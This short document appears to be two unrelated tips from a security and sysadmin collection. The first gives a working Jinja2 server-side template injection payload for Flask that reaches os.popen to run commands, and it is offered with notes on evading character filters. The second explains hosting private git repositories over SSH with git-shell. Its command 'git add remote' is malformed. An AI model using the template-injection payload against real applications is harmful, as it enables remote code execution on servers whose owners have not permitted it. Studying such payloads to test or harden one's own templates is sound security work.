RCE SSTI payload in Flask Jinja2 without using ".", calling init, class or bruteforcing offsets. Can be easily modified to bypass "__" too.
{{request['application']['__globals__']['__builtins__']['__import__']('os')['popen']('id')['read']()}}
Want to share private repos but don't want to use github/gitlab?
On server:
usermod -s /usr/bin/git-shell repos
Switch to new account, create and move to project folder.
git init --bare
On your client:
git add remote origin ssh://repos@server/path/to/
git push origin master